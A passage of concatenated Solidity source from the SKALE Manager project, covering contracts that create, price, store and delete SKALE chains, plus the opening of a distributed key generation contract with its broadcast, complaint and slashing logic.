GroupDeleted( bytes32 groupIndex, uint32 time, uint gasSpend ); // informs that Group is upgraded event GroupUpgraded( bytes32 groupIndex, bytes32 groupData, uint32 time, uint gasSpend ); // informs that Group is generated event GroupGenerated( bytes32 groupIndex, uint[] nodesInGroup, uint32 time, uint gasSpend ); // name of executor contract string executorName; // name of data contract string dataName; /** * @dev contructor in Permissions approach * @param newExecutorName - name of executor contract * @param newDataName - name of data contract * @param newContractsAddress needed in Permissions constructor */ constructor(string memory newExecutorName, string memory newDataName, address newContractsAddress) Permissions(newContractsAddress) public { executorName = newExecutorName; dataName = newDataName; } /** * @dev verifySignature - verify signature which create Group by Groups BLS master public key * @param groupIndex - Groups identifier * @param signatureX - first part of BLS signature * @param signatureY - second part of BLS signature * @param hashX - first part of hashed message * @param hashY - second part of hashed message * @return true - if correct, false - if not */ function verifySignature( bytes32 groupIndex, uint signatureX, uint signatureY, uint hashX, uint hashY) external view returns (bool) { address groupsDataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); uint publicKeyx1; uint publicKeyy1; uint publicKeyx2; uint publicKeyy2; (publicKeyx1, publicKeyy1, publicKeyx2, publicKeyy2) = IGroupsData(groupsDataAddress).getGroupsPublicKey(groupIndex); address skaleVerifierAddress = contractManager.getContract("SkaleVerifier"); return ISkaleVerifier(skaleVerifierAddress).verify( signatureX, signatureY, hashX, hashY, publicKeyx1, publicKeyy1, publicKeyx2, publicKeyy2 ); } /** * @dev addGroup - creates and adds new Group to Data contract * function could be run only by executor * @param groupIndex - Groups identifier * @param newRecommendedNumberOfNodes - recommended number of Nodes * @param data - some extra data */ function addGroup(bytes32 groupIndex, uint newRecommendedNumberOfNodes, bytes32 data) public allow(executorName) { address groupsDataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); IGroupsData(groupsDataAddress).addGroup(groupIndex, newRecommendedNumberOfNodes, data); emit GroupAdded( groupIndex, data, uint32(block.timestamp), gasleft()); } /** * @dev deleteGroup - delete Group from Data contract * function could be run only by executor * @param groupIndex - Groups identifier */ function deleteGroup(bytes32 groupIndex) public allow(executorName) { address groupsDataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); require(IGroupsData(groupsDataAddress).isGroupActive(groupIndex), "Group is not active"); IGroupsData(groupsDataAddress).removeGroup(groupIndex); IGroupsData(groupsDataAddress).removeAllNodesInGroup(groupIndex); emit GroupDeleted(groupIndex, uint32(block.timestamp), gasleft()); } /** * @dev upgradeGroup - upgrade Group at Data contract * function could be run only by executor * @param groupIndex - Groups identifier * @param newRecommendedNumberOfNodes - recommended number of Nodes * @param data - some extra data */ function upgradeGroup(bytes32 groupIndex, uint newRecommendedNumberOfNodes, bytes32 data) public allow(executorName) { address groupsDataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); require(IGroupsData(groupsDataAddress).isGroupActive(groupIndex), "Group is not active"); IGroupsData(groupsDataAddress).removeGroup(groupIndex); IGroupsData(groupsDataAddress).removeAllNodesInGroup(groupIndex); IGroupsData(groupsDataAddress).addGroup(groupIndex, newRecommendedNumberOfNodes, data); emit GroupUpgraded( groupIndex, data, uint32(block.timestamp), gasleft()); } /** * @dev findNode - find local index of Node in Schain * @param groupIndex - Groups identifier * @param nodeIndex - global index of Node * @return local index of Node in Schain */ function findNode(bytes32 groupIndex, uint nodeIndex) internal view returns (uint index) { address groupsDataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); uint[] memory nodesInGroup = IGroupsData(groupsDataAddress).getNodesInGroup(groupIndex); for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } /** * @dev generateGroup - abstract method which would be implemented in inherited contracts * function generates group of Nodes * @param groupIndex - Groups identifier * return array of indexes of Nodes in Group */ function generateGroup(bytes32 groupIndex) internal returns (uint[] memory); function selectNodeToGroup(bytes32 groupIndex) internal returns (uint); function swap(uint[] memory array, uint index1, uint index2) internal pure { uint buffer = array[index1]; array[index1] = array[index2]; array[index2] = buffer; } } /* SchainsFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/ISchainsData.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/IGroupsData.sol"; import "./interfaces/ISchainsFunctionality.sol"; import "./interfaces/ISchainsFunctionalityInternal.sol"; import "./interfaces/INodesData.sol"; /** * @title SchainsFunctionality - contract contains all functionality logic to manage Schains */ contract SchainsFunctionality is Permissions, ISchainsFunctionality { struct SchainParameters { uint lifetime; uint typeOfSchain; uint16 nonce; string name; } // informs that Schain is created event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 groupIndex, uint32 time, uint gasSpend ); event SchainDeleted( address owner, string name, bytes32 indexed schainId ); event NodeRotated( bytes32 groupIndex, uint oldNode, uint newNode ); event NodeAdded( bytes32 groupIndex, uint newNode ); string executorName; string dataName; constructor(string memory newExecutorName, string memory newDataName, address newContractsAddress) Permissions(newContractsAddress) public { executorName = newExecutorName; dataName = newDataName; } /** * @dev addSchain - create Schain in the system * function could be run only by executor * @param from - owner of Schain * @param deposit - received amoung of SKL * @param data - Schain's data */ function addSchain(address from, uint deposit, bytes calldata data) external allow(executorName) { uint numberOfNodes; uint8 partOfNode; address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); SchainParameters memory schainParameters = fallbackSchainParametersDataConverter(data); require(schainParameters.typeOfSchain <= 5, "Invalid type of Schain"); require(getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); //initialize Schain initializeSchainInSchainsData( schainParameters.name, from, deposit, schainParameters.lifetime); // create a group for Schain (numberOfNodes, partOfNode) = ISchainsFunctionalityInternal( schainsFunctionalityInternalAddress ).getNodesDataFromTypeOfSchain(schainParameters.typeOfSchain); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), uint32(block.timestamp), gasleft()); } /** * @dev getSchainNodes - returns Nodes which contained in given Schain * @param schainName - name of Schain * @return array of concatenated parameters: nodeIndex, ip, port which contained in Schain */ /*function getSchainNodes(string schainName) public view returns (bytes16[] memory schainNodes) { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); bytes32 schainId = keccak256(abi.encodePacked(schainName)); uint[] memory nodesInGroup = IGroupsData(dataAddress).getNodesInGroup(schainId); schainNodes = new bytes16[](nodesInGroup.length); for (uint indexOfNodes = 0; indexOfNodes < nodesInGroup.length; indexOfNodes++) { schainNodes[indexOfNodes] = getBytesParameter(nodesInGroup[indexOfNodes]); } }*/ /** * @dev deleteSchain - removes Schain from the system * function could be run only by executor * @param from - owner of Schain * @param name - Schain name */ function deleteSchain(address from, string calldata name) external allow(executorName) { bytes32 schainId = keccak256(abi.encodePacked(name)); address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); //require(ISchainsData(dataAddress).isTimeExpired(schainId), "Schain lifetime did not end"); require(ISchainsData(dataAddress).isOwnerAddress(from, schainId), "Message sender is not an owner of Schain"); address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); // removes Schain from Nodes uint[] memory nodesInGroup = IGroupsData(dataAddress).getNodesInGroup(schainId); uint8 partOfNode = ISchainsData(dataAddress).getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).findSchainAtSchainsForNode( nodesInGroup[i], schainId ); require( schainIndex < ISchainsData(dataAddress).getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).removeNodeFromSchain(nodesInGroup[i], schainId); addSpace(nodesInGroup[i], partOfNode); } ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).deleteGroup(schainId); ISchainsData(dataAddress).removeSchain(schainId, from); emit SchainDeleted(from, name, schainId); } function deleteSchainByRoot(string calldata name) external allow(executorName) { bytes32 schainId = keccak256(abi.encodePacked(name)); address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); // removes Schain from Nodes uint[] memory nodesInGroup = IGroupsData(dataAddress).getNodesInGroup(schainId); uint8 partOfNode = ISchainsData(dataAddress).getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).findSchainAtSchainsForNode( nodesInGroup[i], schainId ); require( schainIndex < ISchainsData(dataAddress).getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).removeNodeFromSchain(nodesInGroup[i], schainId); addSpace(nodesInGroup[i], partOfNode); } ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).deleteGroup(schainId); address from = ISchainsData(dataAddress).getSchainOwner(schainId); ISchainsData(dataAddress).removeSchain(schainId, from); emit SchainDeleted(from, name, schainId); } function rotateNode(uint nodeIndex, bytes32 schainId) external allowTwo("SkaleDKG", executorName) { address schainsFunctionalityInternalAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsFunctionalityInternal"))); uint newNodeIndex; newNodeIndex = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).replaceNode(nodeIndex, schainId); emit NodeRotated(schainId, nodeIndex, newNodeIndex); } function restartSchainCreation(string calldata name) external allow(executorName) { bytes32 schainId = keccak256(abi.encodePacked(name)); address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); require(IGroupsData(dataAddress).isGroupFailedDKG(schainId), "DKG success"); address schainsFunctionalityInternalAddress = contractManager.contracts( keccak256(abi.encodePacked("SchainsFunctionalityInternal")) ); uint[] memory possibleNodes = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).isEnoughNodes(schainId); require(possibleNodes.length > 0, "No any free Nodes for rotation"); uint newNodeIndex = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).selectNewNode(schainId); emit NodeAdded(schainId, newNodeIndex); } /** * @dev getSchainPrice - returns current price for given Schain * @param typeOfSchain - type of Schain * @param lifetime - lifetime of Schain * @return current price for given Schain */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { address constantsAddress = contractManager.contracts(keccak256(abi.encodePacked("Constants"))); address schainsFunctionalityInternalAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsFunctionalityInternal"))); uint nodeDeposit = IConstants(constantsAddress).NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (numberOfNodes, divisor) = ISchainsFunctionalityInternal( schainsFunctionalityInternalAddress ).getNodesDataFromTypeOfSchain(typeOfSchain); // /*uint up; // uint down; // (up, down) = coefficientForPrice(constantsAddress);*/ if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit * numberOfNodes * 2 * lifetime; uint down = uint(uint(IConstants(constantsAddress).TINY_DIVISOR() / divisor) * uint(IConstants(constantsAddress).SECONDS_TO_YEAR())); return up / down; } } function initializeSchainInSchainsData( string memory name, address from, uint deposit, uint lifetime) internal { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); require(ISchainsData(dataAddress).isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain ISchainsData(dataAddress).initializeSchain( name, from, lifetime, deposit); ISchainsData(dataAddress).setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev fallbackSchainParameterDataConverter - converts data from bytes to normal parameters * @param data - concatenated parameters * @return lifetime * @return typeOfSchain * @return nonce * @return name */ function fallbackSchainParametersDataConverter(bytes memory data) internal pure returns (SchainParameters memory schainParameters) { require(data.length > 36, "Incorrect bytes data config"); bytes32 lifetimeInBytes; bytes1 typeOfSchainInBytes; bytes2 nonceInBytes; assembly { lifetimeInBytes := mload(add(data, 33)) typeOfSchainInBytes := mload(add(data, 65)) nonceInBytes := mload(add(data, 66)) } schainParameters.typeOfSchain = uint(uint8(typeOfSchainInBytes)); schainParameters.lifetime = uint(lifetimeInBytes); schainParameters.nonce = uint16(nonceInBytes); schainParameters.name = new string(data.length - 36); for (uint i = 0; i < bytes(schainParameters.name).length; ++i) { bytes(schainParameters.name)[i] = data[36 + i]; } } /** * @dev addSpace - return occupied space to Node * @param nodeIndex - index of Node at common array of Nodes * @param partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) internal { address nodesDataAddress = contractManager.contracts(keccak256(abi.encodePacked("NodesData"))); // address constantsAddress = contractManager.contracts(keccak256(abi.encodePacked("Constants"))); // uint subarrayLink; // bool isNodeFull; // (subarrayLink, isNodeFull) = INodesData(nodesDataAddress).nodesLink(nodeIndex); // adds space // if (isNodeFull) { // if (partOfNode == IConstants(constantsAddress).MEDIUM_TEST_DIVISOR()) { // INodesData(nodesDataAddress).addSpaceToFullNode(subarrayLink, partOfNode); // } else if (partOfNode != 0) { // INodesData(nodesDataAddress).addSpaceToFullNode(subarrayLink, partOfNode); // } else { // INodesData(nodesDataAddress).addSpaceToFullNode(subarrayLink, partOfNode); // } // } else { // if (partOfNode != 0) { // INodesData(nodesDataAddress).addSpaceToFractionalNode(subarrayLink, partOfNode); // } else { // INodesData(nodesDataAddress).addSpaceToFractionalNode(subarrayLink, partOfNode); // } // } INodesData(nodesDataAddress).addSpaceToNode(nodeIndex, partOfNode); } } /* SchainsData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./GroupsData.sol"; import "./interfaces/ISchainsData.sol"; /** * @title SchainsData - Data contract for SchainsFunctionality. * Contain all information about SKALE-Chains. */ contract SchainsData is ISchainsData, GroupsData { struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint32 startDate; uint deposit; uint64 index; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains = 0; // total resources that schains occupied uint public sumOfSchainsResources = 0; constructor(string memory newExecutorName, address newContractsAddress) GroupsData(newExecutorName, newContractsAddress) public { } /** * @dev initializeSchain - initializes Schain * function could be run only by executor * @param name - SChain name * @param from - Schain owner * @param lifetime - initial lifetime of Schain * @param deposit - given amount of SKL */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("SchainsFunctionality") { bytes32 schainId = keccak256(abi.encodePacked(name)); schains[schainId].name = name; schains[schainId].owner = from; schains[schainId].startDate = uint32(block.timestamp); schains[schainId].lifetime = lifetime; schains[schainId].deposit = deposit; schains[schainId].index = numberOfSchains; numberOfSchains++; schainsAtSystem.push(schainId); } /** * @dev setSchainIndex - adds Schain's hash to owner * function could be run only by executor * @param schainId - hash by Schain name * @param from - Schain owner */ function setSchainIndex(bytes32 schainId, address from) external allow("SchainsFunctionality") { schains[schainId].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainId); } /** * @dev addSchainForNode - adds Schain hash to Node * function could be run only by executor * @param nodeIndex - index of Node * @param schainId - hash by Schain name */ function addSchainForNode(uint nodeIndex, bytes32 schainId) external allow(executorName) { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainId); } else { schainsForNodes[nodeIndex][holesForNodes[nodeIndex][0]] = schainId; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForNodes[nodeIndex].length; i++) { if (min > holesForNodes[nodeIndex][i]) { min = holesForNodes[nodeIndex][i]; index = i; } } if (min == uint(-1)) { delete holesForNodes[nodeIndex]; } else { holesForNodes[nodeIndex][0] = min; holesForNodes[nodeIndex][index] = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; delete holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; holesForNodes[nodeIndex].length--; } } } /** * @dev setSchainPartOfNode - sets how much Schain would be occupy of Node * function could be run onlye by executor * @param schainId - hash by Schain name * @param partOfNode - occupied space */ function setSchainPartOfNode(bytes32 schainId, uint8 partOfNode) external allow(executorName) { schains[schainId].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources += (128 / partOfNode) * groups[schainId].nodesInGroup.length; } } /** * @dev changeLifetime - changes Lifetime for Schain * function could be run only by executor * @param schainId - hash by Schain name * @param lifetime - time which would be added to lifetime of Schain * @param deposit - amount of SKL which payed for this time */ function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("SchainsFunctionality") { schains[schainId].deposit += deposit; schains[schainId].lifetime += lifetime; } /** * @dev removeSchain - removes Schain from the system * function could be run only by executor * @param schainId - hash by Schain name * @param from - owner of Schain */ function removeSchain(bytes32 schainId, address from) external allow("SchainsFunctionality") { uint length = schainIndexes[from].length; uint index = schains[schainId].indexInOwnerList; if (index != length - 1) { bytes32 lastSchainId = schainIndexes[from][length - 1]; schains[lastSchainId].indexInOwnerList = index; schainIndexes[from][index] = lastSchainId; } delete schainIndexes[from][length - 1]; schainIndexes[from].length--; // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length - 1]; break; } } delete schainsAtSystem[schainsAtSystem.length - 1]; schainsAtSystem.length--; delete schains[schainId]; numberOfSchains--; } /** * @dev removesSchainForNode - clean given Node of Schain * function could be run only by executor * @param nodeIndex - index of Node * @param schainIndex - index of Schain in schainsForNodes array by this Node */ function removeSchainForNode(uint nodeIndex, uint schainIndex) external allow("SchainsFunctionalityInternal") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length - 1) { delete schainsForNodes[nodeIndex][length - 1]; schainsForNodes[nodeIndex].length--; } else { schainsForNodes[nodeIndex][schainIndex] = bytes32(0); if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev getSchains - gets all Schains at the system * @return array of hashes by Schain names */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev getSchainsPartOfNode - gets occupied space for given Schain * @param schainId - hash by Schain name * @return occupied space */ function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) { return schains[schainId].partOfNode; } /** * @dev getSchainListSize - gets number of created Schains at the system by owner * @param from - owner of Schain * return number of Schains */ function getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev getSchainIdsByAddress - gets array of hashes by Schain names which owned by `from` * @param from - owner of some Schains * @return array of hashes by Schain names */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev getSchainIdsForNode - returns array of hashes by Schain names, * which given Node composed * @param nodeIndex - index of Node * @return array of hashes by Schain names */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev getLengthOfSchainsForNode - returns number of Schains which contain given Node * @param nodeIndex - index of Node * @return number of Schains */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } /** * @dev getSchainIdFromSchainName - returns hash of given name * @param schainName - name of Schain * @return hash */ function getSchainIdFromSchainName(string calldata schainName) external pure returns (bytes32) { return keccak256(abi.encodePacked(schainName)); } function getSchainOwner(bytes32 schainId) external view returns (address) { return schains[schainId].owner; } /** * @dev isSchainNameAvailable - checks is given name available * Need to delete - copy of web3.utils.soliditySha3 * @param name - possible new name of Schain * @return if available - true, else - false */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0); } /** * @dev isTimeExpired - checks is Schain lifetime expired * @param schainId - hash by Schain name * @return if expired - true, else - false */ function isTimeExpired(bytes32 schainId) external view returns (bool) { return schains[schainId].startDate + schains[schainId].lifetime < block.timestamp; } /** * @dev isOwnerAddress - checks is `from` - owner of `schainId` Schain * @param from - owner of Schain * @param schainId - hash by Schain name * @return if owner - true, else - false */ function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) { return schains[schainId].owner == from; } } /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/ISchainsFunctionality.sol"; import "./interfaces/ISchainsFunctionalityInternal.sol"; import "./delegation/DelegationService.sol"; import "./NodesData.sol"; import "./SlashingTable.sol"; interface IECDH { function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256, uint256); } interface IDecryption { function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256); } contract SkaleDKG is Permissions { struct Channel { bool active; address dataAddress; bool[] broadcasted; uint numberOfBroadcasted; Fp2 publicKeyx; Fp2 publicKeyy; uint numberOfCompleted; bool[] completed; uint startedBlockNumber; uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockNumber; } struct Fp2 { uint x; uint y; } struct BroadcastedData { bytes secretKeyContribution; bytes verificationVector; } uint constant P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint constant G2A = 10857046999023057135944570762232829481370756359578518086990519993285655852781; uint constant G2B = 11559732032986387107991004021392285783925812861821192530917403151452391805634; uint constant G2C = 8495653923123431417604973247489272438418190587263600148770280649306958101930; uint constant G2D = 4082367875863433681332203403145435568316851327593401208105741076214120093531; uint constant TWISTBX = 19485874751759354771024239261021720505790618469301721065564631296452457478373; uint constant TWISTBY = 266929791119991161246907387137283842545076965332900288569378510910307636690; uint constant G1A = 1; uint constant G1B = 2; mapping(bytes32 => Channel) public channels; mapping(bytes32 => mapping(uint => BroadcastedData)) data; event ChannelOpened(bytes32 groupIndex); event ChannelClosed(bytes32 groupIndex); event BroadcastAndKeyShare( bytes32 indexed groupIndex, uint indexed fromNode, bytes verificationVector, bytes secretKeyContribution ); event AllDataReceived(bytes32 indexed groupIndex, uint nodeIndex); event SuccessfulDKG(bytes32 indexed groupIndex); event BadGuy(uint nodeIndex); event FailedDKG(bytes32 indexed groupIndex); event ComplaintSent(bytes32 indexed groupIndex, uint indexed fromNodeIndex, uint indexed toNodeIndex); event NewGuy(uint nodeIndex); modifier correctGroup(bytes32 groupIndex) { require(channels[groupIndex].active, "Group is not created"); _; } modifier correctNode(bytes32 groupIndex, uint nodeIndex) { uint index = findNode(groupIndex, nodeIndex); require(index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex), "Node is not in this group"); _; } constructor(address contractsAddress) Permissions(contractsAddress) public { } function openChannel(bytes32 groupIndex) external allowThree("SchainsData", "MonitorsData", "SkaleDKG") { require(!channels[groupIndex].active, "Channel already is created"); channels[groupIndex].active = true; channels[groupIndex].dataAddress = msg.sender; channels[groupIndex].broadcasted = new bool[](IGroupsData(channels[groupIndex].dataAddress).getRecommendedNumberOfNodes(groupIndex)); channels[groupIndex].completed = new bool[](IGroupsData(channels[groupIndex].dataAddress).getRecommendedNumberOfNodes(groupIndex)); channels[groupIndex].publicKeyy.x = 1; channels[groupIndex].nodeToComplaint = uint(-1); emit ChannelOpened(groupIndex); } function deleteChannel(bytes32 groupIndex) external allowTwo("SchainsData", "MonitorsData") { require(channels[groupIndex].active, "Channel is not created"); delete channels[groupIndex]; } function broadcast( bytes32 groupIndex, uint nodeIndex, bytes calldata verificationVector, bytes calldata secretKeyContribution ) external correctGroup(groupIndex) correctNode(groupIndex, nodeIndex) { require(isNodeByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); isBroadcast( groupIndex, nodeIndex, secretKeyContribution, verificationVector ); bytes32 vector; bytes32 vector1; bytes32 vector2; bytes32 vector3; assembly { vector := calldataload(add(4, 160)) vector1 := calldataload(add(4, 192)) vector2 := calldataload(add(4, 224)) vector3 := calldataload(add(4, 256)) } adding( groupIndex, uint(vector), uint(vector1), uint(vector2), uint(vector3) ); emit BroadcastAndKeyShare( groupIndex, nodeIndex, verificationVector, secretKeyContribution ); } function complaint(bytes32 groupIndex, uint fromNodeIndex, uint toNodeIndex) external correctGroup(groupIndex) correctNode(groupIndex, fromNodeIndex) correctNode(groupIndex, toNodeIndex) { require(isNodeByMessageSender(fromNodeIndex, msg.sender), "Node does not exist for message sender"); if (isBroadcasted(groupIndex, toNodeIndex) && channels[groupIndex].nodeToComplaint == uint(-1)) { // need to wait a response from toNodeIndex channels[groupIndex].nodeToComplaint = toNodeIndex; channels[groupIndex].fromNodeToComplaint = fromNodeIndex; channels[groupIndex].startComplaintBlockNumber = block.number; emit ComplaintSent(groupIndex, fromNodeIndex, toNodeIndex); } else if (isBroadcasted(groupIndex, toNodeIndex) && channels[groupIndex].nodeToComplaint != toNodeIndex) { revert("One complaint has already sent"); } else if (isBroadcasted(groupIndex, toNodeIndex) && channels[groupIndex].nodeToComplaint == toNodeIndex) { require(channels[groupIndex].startComplaintBlockNumber + 120 <= block.number, "One more complaint rejected"); // need to penalty Node - toNodeIndex finalizeSlashing(groupIndex, channels[groupIndex].nodeToComplaint); } else if (!isBroadcasted(groupIndex, toNodeIndex)) { // if node have not broadcasted params require(channels[groupIndex].startedBlockNumber + 120 <= block.number, "Complaint rejected"); // need to penalty Node - toNodeIndex finalizeSlashing(groupIndex, channels[groupIndex].nodeToComplaint); } } function response( bytes32 groupIndex, uint fromNodeIndex, uint secretNumber, bytes calldata multipliedShare ) external correctGroup(groupIndex) correctNode(groupIndex, fromNodeIndex) { require(channels[groupIndex].nodeToComplaint == fromNodeIndex, "Not this Node"); require(isNodeByMessageSender(fromNodeIndex, msg.sender), "Node does not exist for message sender"); // uint secret = decryptMessage(groupIndex, secretNumber); // DKG verification(secret key contribution, verification vector) // uint indexOfNode = findNode(groupIndex, fromNodeIndex); // bytes memory verVec = data[groupIndex][indexOfNode].verificationVector; bool verificationResult = verify( groupIndex, fromNodeIndex, secretNumber, multipliedShare ); uint badNode = (verificationResult ? channels[groupIndex].fromNodeToComplaint : channels[groupIndex].nodeToComplaint); finalizeSlashing(groupIndex, badNode); } function alright(bytes32 groupIndex, uint fromNodeIndex) external correctGroup(groupIndex) correctNode(groupIndex, fromNodeIndex) { require(isNodeByMessageSender(fromNodeIndex, msg.sender), "Node does not exist for message sender"); uint index = findNode(groupIndex, fromNodeIndex); uint numberOfParticipant = IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex); require(numberOfParticipant == channels[groupIndex].numberOfBroadcasted, "Still Broadcasting phase"); require(!channels[groupIndex].completed[index], "Node is already alright"); channels[groupIndex].completed[index] = true; channels[groupIndex].numberOfCompleted++; emit AllDataReceived(groupIndex, fromNodeIndex); if (channels[groupIndex].numberOfCompleted == numberOfParticipant) { IGroupsData(channels[groupIndex].dataAddress).setPublicKey( groupIndex, channels[groupIndex].publicKeyx.x, channels[groupIndex].publicKeyx.y, channels[groupIndex].publicKeyy.x, channels[groupIndex].publicKeyy.y ); delete channels[groupIndex]; emit SuccessfulDKG(groupIndex); } } function isChannelOpened(bytes32 groupIndex) external view returns (bool) { return channels[groupIndex].active; } function isBroadcastPossible(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { uint index = findNode(groupIndex, nodeIndex); return channels[groupIndex].active && index < IGroupsData(channels[groupIndex].dataAddress).getNumberOfNodesInGroup(groupIndex) && isNodeByMessageSender(nodeIndex, msg.sender) && !channels[groupIndex].broadcasted[index]; } function isComplaintPossible(bytes32 groupIndex, uint fromNodeIndex, uint toNodeIndex) external view returns (bool) { uint indexFrom = findNode(groupIndex, fromNodeIndex); uint indexTo = findNode(groupIndex, toNodeIndex); bool complaintSending = channels[groupIndex].nodeToComplaint == uint(-1) || ( channels[groupIndex].broadcasted[indexTo] && channels[groupIndex].startComplaintBlockNumber + 120 <= block.number && 